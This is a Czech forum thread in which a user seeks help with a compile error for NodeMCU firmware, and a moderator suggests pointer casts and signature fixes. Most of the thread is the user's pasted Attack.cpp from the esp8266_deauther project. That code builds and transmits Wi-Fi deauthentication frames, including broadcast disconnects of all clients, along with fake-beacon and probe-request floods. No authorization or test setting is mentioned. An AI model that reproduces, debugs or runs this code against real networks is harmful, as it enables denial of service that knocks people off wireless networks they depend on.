Close

Nodemcu Arduino IDE

Úvodní stránka Fórum Hardware Arduino Nodemcu Arduino IDE

  • Toto téma obsahuje celkem 6 odpovědí. Do diskuze (2 diskutující) se naposledy zapojil uživatel nonosh a poslední změna proběhla před 5 roky.
Aktuálně je na stránce zobrazeno 7 příspěvků - 1. až 7. (celkem z 7)
  • Autor
    Příspěvky
  • #11302
    nonosh
    Účastník

    Zdravím,
    snažím se vytvořit udělátko s Nodemcu v2 napsane v Arduinu jenze kdyz chci zkompilovat kód dostanu tenhle error :
    cannot convert ‚uint8_t* {aka unsigned char*}‘ to ‚uint8** {aka unsigned char**}‘ for argument ‚1‘ to ‚int wifi_send_pkt_freedom(uint8**, int, bool)‘

    Netuší někdo co to je ?
    Vďaka

    #11303
    Zbyšek Voda
    Správce

    Používáte funkci int wifi_send_pkt_freedom(uint8**, int, bool);
    Tato funkce má první parametr ukazatel na ukazatel na uint8. Popřípadě se dá také interpretovat jako pole ukazatelů na hodnoty typu uint8, nebo ukazatel na pole (což asi je případ, který potřebujete).

    Vy ale této funkci předáváte jenom pole, ale ne ukazatel na pole.
    Řekněme, že máte něco jako:

    byte data[] = {1, 2, 3, 4, ...};
    wifi_send_pkt_freedom(data, x, y);

    Místo data zkuste zapsat &data, tedy:
    wifi_send_pkt_freedom(&data, x, y);

    Znak ampersand (&) značí, že chcete získat adresu dané proměnné. Ukazatele jsou vlastně adresy.

    Většinou stačí přeložit hlášku:
    cannot convert ‘uint8_t* {aka unsigned char*}’ to ‘uint8** {aka unsigned char**}’ for argument ‘1’ to ‘int wifi_send_pkt_freedom(uint8**, int, bool)’
    můžete číst jako
    Nejde převést uint8_t* na uint8** v prvním argumentu funkce wifi_send_pkt_freedom(uint8**, int, bool)

    uint8_t* = ukazatel na typ uint8_t / pole uint8
    uint8_t** = ukazatel na ukazatel na uint8_t / pole ukazatelů na uint8_t / ukazatel na pole uint8_t

    Pokud to nepůjde, pošlete sem kód 🙂

    #11309
    nonosh
    Účastník

    Po přidání &amp dostavám : cannot convert ‚uint8_t (*)[128] {aka unsigned char (*)[128]}‘ to ‚uint8** {aka unsigned char**}‘ for argument ‚1‘ to ‚int wifi_send_pkt_freedom(uint8**, int, bool)‘
    Upřímně tomu nějak nerozumím a jsem z toho nemocný … přikládám kód :
    #include „Attack.h“

    Attack::Attack() {
    randomSeed(os_random());
    }

    void Attack::generate() {
    if (debug) Serial.print(„\n generating MACs…“);

    Mac _randomBeaconMac;
    uint8_t _randomMacBuffer[6];
    beaconAdrs._clear();

    for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
    do {
    getRandomVendorMac(_randomMacBuffer);
    for (int i = 0; i < 6; i++) _randomBeaconMac.setAt(_randomMacBuffer[i], i);
    } while (beaconAdrs.add(_randomBeaconMac) >= 0);
    if (debug) Serial.println(„done“);
    }

    void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
    packetSize = 0;
    for (int i = 0; i < sizeof(deauthPacket); i++) {
    packet[i] = deauthPacket[i];
    packetSize++;
    }

    for (int i = 0; i < 6; i++) {
    //set target (client)
    packet[4 + i] = _client._get(i);
    //set source (AP)
    packet[10 + i] = packet[16 + i] = _ap._get(i);
    }

    //set type
    packet[0] = type;
    packet[24] = reason;
    }

    void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
    packetSize = 0;
    int ssidLen = _ssid.length();
    if (ssidLen > 32) ssidLen = 32;

    for (int i = 0; i < sizeof(beaconPacket_header); i++) {
    packet[i] = beaconPacket_header[i];
    packetSize++;
    }

    for (int i = 0; i < 6; i++) {
    //set source (AP)
    packet[10 + i] = packet[16 + i] = _ap._get(i);
    }

    packet[packetSize] = 0x00;
    packetSize++;
    packet[packetSize] = ssidLen;
    packetSize++;

    for (int i = 0; i < ssidLen; i++) {
    packet[packetSize] = _ssid[i];
    packetSize++;
    }

    for (int i = 0; i < sizeof(beaconPacket_end); i++) {
    packet[packetSize] = beaconPacket_end[i];
    packetSize++;
    }

    packet[packetSize] = _ch;
    packetSize++;

    if (encrypt) {
    for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
    packet[packetSize] = beaconWPA2tag[i];
    packetSize++;
    }
    }

    }

    void Attack::buildProbe(String _ssid, Mac _mac) {
    int len = _ssid.length();
    if (len > 32) len = 32;
    packetSize = 0;

    for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
    packetSize += sizeof(probePacket);

    for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);

    packet[packetSize] = len;
    packetSize++;

    for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
    packetSize += len;

    }

    bool Attack::send() {
    if (wifi_send_pkt_freedom(&packet, packetSize, 0) == -1) {
    /*
    if(debug){
    Serial.print(packetSize);
    Serial.print(“ : „);
    PrintHex8(packet, packetSize);
    Serial.println(„“);
    }
    */
    return false;
    }
    delay(1); //less packets are beeing dropped
    return true;
    }

    void Attack::sendDeauths(Mac from, Mac to){
    for(int i=0;i<settings.attackPacketRate;i++){
    buildDeauth(from, to, 0xc0, settings.deauthReason );
    if(send()) packetsCounter[0]++;
    buildDeauth(from, to, 0xa0, settings.deauthReason );
    send();
    buildDeauth(to, from, 0xc0, settings.deauthReason );
    send();
    buildDeauth(to, from, 0xa0, settings.deauthReason );
    send();
    delay(5);
    }
    }

    void Attack::run() {
    unsigned long currentMillis = millis();

    /* =============== Deauth Attack =============== */
    if (isRunning[0] && currentMillis – prevTime[0] >= 1000) {
    if (debug) Serial.print(„running “ + (String)attackNames[0] + “ attack…“);
    prevTime[0] = millis();

    for (int a = 0; a < apScan.results; a++) {
    if (apScan.isSelected(a)) {
    Mac _ap;
    int _ch = apScan.getAPChannel(a);
    _ap.setMac(apScan.aps._get(a));

    wifi_set_channel(_ch);

    int _selectedClients = 0;

    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    _selectedClients++;
    /*if (settings.channelHop) {
    for (int j = 1; j < maxChannel; j++) {
    wifi_set_channel(j);

    buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
    if (send()) packetsCounter[0]++;

    buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
    if (send()) packetsCounter[0]++;
    }
    } else {*/
    sendDeauths(_ap, clientScan.getClientMac(i));
    //}
    }
    }

    if (_selectedClients == 0) {
    Mac _client;
    _client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
    sendDeauths(_ap, _client);
    }

    }
    }

    stati[0] = (String)packetsCounter[0] + „pkts/s“;
    packetsCounter[0] = 0;
    if (debug) Serial.println(“ done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[0]++;
    if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
    }
    }

    /* =============== Beacon list Attack =============== */
    if (isRunning[1] && currentMillis – prevTime[1] >= 100) {
    if (debug) Serial.print(„running “ + (String)attackNames[1] + “ attack…“);
    prevTime[1] = millis();

    for (int a = 0; a < ssidList.len; a++) {
    String _ssid = ssidList.get(a);
    int _ch = channels[a];

    buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);

    if (send()) packetsCounter[1]++;
    }

    stati[1] = (String)(packetsCounter[1] * 10) + „pkts/s“;
    packetsCounter[1] = 0;
    macListChangeCounter++;
    if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
    generate();
    macListChangeCounter = 0;
    }
    if (debug) Serial.println(“ done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[1]++;
    if (attackTimeoutCounter[1] / 10 > settings.attackTimeout) stop(1);
    }
    }

    /* =============== Probe Request Attack =============== */
    if (isRunning[2] && currentMillis – prevTime[2] >= 1000) {
    if (debug) Serial.print(„running “ + (String)attackNames[2] + “ attack…“);
    prevTime[2] = millis();

    for (int a = 0; a < ssidList.len; a++) {
    buildProbe(ssidList.get(a), beaconAdrs._get(a));
    if (send()) packetsCounter[2]++;
    }

    stati[2] = (String)(packetsCounter[2] * 10) + „pkts/s“;
    packetsCounter[2] = 0;
    macListChangeCounter++;
    if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
    generate();
    macListChangeCounter = 0;
    }
    if (debug) Serial.println(„done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[2]++;
    if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
    }
    }

    }

    void Attack::start(int num) {
    Serial.println(num);
    if(!isRunning[num]) {
    Serial.println(num);
    isRunning[num] = true;
    stati[num] = „starting“;
    prevTime[num] = millis();_log(num);
    attackTimeoutCounter[num] = 0;
    refreshLed();
    if (debug) Serial.println(„starting “ + (String)attackNames[num] + “ attack…“);
    if (num == 0) attackMode = „STOP“;
    for (int i = 0; i < attacksNum; i++){
    if(i != num) stop(i);
    }
    }else stop(num);
    }

    void Attack::stop(int num) {
    if (isRunning[num]) {
    if (debug) Serial.println(„stopping “ + (String)attackNames[num] + “ attack…“);
    if (num == 0) attackMode = „START“;
    isRunning[num] = false;
    stati[num] = „ready“;
    prevTime[num] = millis();
    refreshLed();
    }
    }

    void Attack::stopAll() {
    for (int i = 0; i < attacksNum; i++) stop(i);
    }

    void Attack::_log(int num){
    openLog();
    addLog((String)attackNames[num]);
    for(int a=0;a<apScan.results;a++){
    if(apScan.isSelected(a)){
    Mac _ap;
    _ap.setMac(apScan.aps._get(a));
    addLog(_ap.toString());
    }
    }
    addLog(„-„);
    for(int i=0;i<clientScan.results; i++) {
    if(clientScan.getClientSelected(i)) {
    addLog(clientScan.getClientMac(i).toString());
    }
    }
    closeLog();
    }

    size_t Attack::getSize(){
    size_t jsonSize = 0;

    String json = „{\“aps\“:[„;

    int _selected = 0;
    for (int i = 0; i < apScan.results; i++) {
    if (apScan.isSelected(i)) {
    json += „\““ + apScan.getAPName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected > 0) json.remove(json.length() – 1);

    jsonSize += json.length();

    json = „],\“clients\“:[„;

    _selected = 0;
    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
    else json.remove(json.length() – 1);

    jsonSize += json.length();

    json = „],\“attacks\“:[„;
    for (int i = 0; i < attacksNum; i++) {
    json += „{„;
    json += „\“name\“:\““ + attackNames[i] + „\“,“;
    json += „\“status\“:\““ + stati[i] + „\“,“;
    json += „\“running\“:“ + (String)isRunning[i] + „“;
    json += „}“;
    if (i != attacksNum – 1) json += „,“;
    }
    json += „],“;
    jsonSize += json.length();

    json = „\“ssid\“:[„;
    jsonSize += json.length();
    for (int i = 0; i < ssidList.len; i++) {
    json = „\““ + ssidList.get(i) + „\““;
    if (i != ssidList.len – 1) json += „,“;
    jsonSize += json.length();
    }

    json = „]}“;
    jsonSize += json.length();

    return jsonSize;
    }

    void Attack::sendResults(){
    size_t _size = getSize();
    if (debug) Serial.print(„getting attacks JSON („+(String)_size+“)…“);
    sendHeader(200, „text/json“, _size);

    String json = „{\“aps\“:[„;

    int _selected = 0;
    for (int i = 0; i < apScan.results; i++) {
    if (apScan.isSelected(i)) {
    json += „\““ + apScan.getAPName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected > 0) json.remove(json.length() – 1);
    sendToBuffer(json);

    json = „],\“clients\“:[„;

    _selected = 0;
    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
    else json.remove(json.length() – 1);

    sendToBuffer(json);

    json = „],\“attacks\“:[„;
    for (int i = 0; i < attacksNum; i++) {
    json += „{„;
    json += „\“name\“:\““ + attackNames[i] + „\“,“;
    json += „\“status\“:\““ + stati[i] + „\“,“;
    json += „\“running\“:“ + (String)isRunning[i] + „“;
    json += „}“;
    if (i != attacksNum – 1) json += „,“;
    }
    json += „],\“ssid\“:[„;
    sendToBuffer(json);

    for (int i = 0; i < ssidList.len; i++) {
    json = „\““ + ssidList.get(i) + „\““;
    if (i != ssidList.len – 1) json += „,“;
    sendToBuffer(json);
    }
    json = „]}“;
    sendToBuffer(json);

    sendBuffer();
    if (debug) Serial.println(„done“);
    }

    void Attack::refreshLed() {
    int numberRunning = 0;
    for (int i = 0; i < sizeof(isRunning); i++) {
    if (isRunning[i]) numberRunning++;
    //if(debug) Serial.println(numberRunning);
    }
    if (numberRunning >= 1 && settings.useLed) {
    if (debug) Serial.println(„Attack LED : ON“);
    digitalWrite(2, LOW);
    }
    else if (numberRunning == 0 || !settings.useLed) {
    if (debug) Serial.println(„Attack LED : OFF“);
    digitalWrite(2, HIGH);
    }
    }

    #11310
    nonosh
    Účastník

    Tady popř. celý projekt … https://github.com/spacehuhn/esp8266_deauther

    #11311
    Zbyšek Voda
    Správce

    Tak zkuste ještě wifi_send_pkt_freedom((uint8_t**)&packet, packetSize, 0)

    #11312
    Zbyšek Voda
    Správce

    Je to nějaké podivné. Když jsem program znovu zkompiloval, tak vyžaduje signaturu
    int wifi_send_pkt_freedom(uint8 *buf, int len,bool sys_seq) (stejná je i v dokumentaci).

    Tedy buf má být opravdu jenom jednoduché pole. Tak jste to asi i na začátku měl, ale házelo to ten podivný error.
    Nakonec se mi povedlo přes chybu dostat zápisem
    if (wifi_send_pkt_freedom(packet, packetSize, 0) == -1) {
    tak jste to ale asi na začátku měl, tak nevím.

    Btw. v kódu chybí funkce setup a loop, což se překladači taky nebude líbit.

    Takto mi to hlásí jen chyby neexistující loop a setup funkce. https://codepaste.net/us7qgo.

    #11344
    nonosh
    Účastník

    No tak ja jsem pořád u toho erroru číslo 1 at se snažím jak snažím … ještě sem někde četl, že muže byt něco s sdk, je to možné ?

Aktuálně je na stránce zobrazeno 7 příspěvků - 1. až 7. (celkem z 7)
  • Pro reakci na toto téma se musíte přihlásit.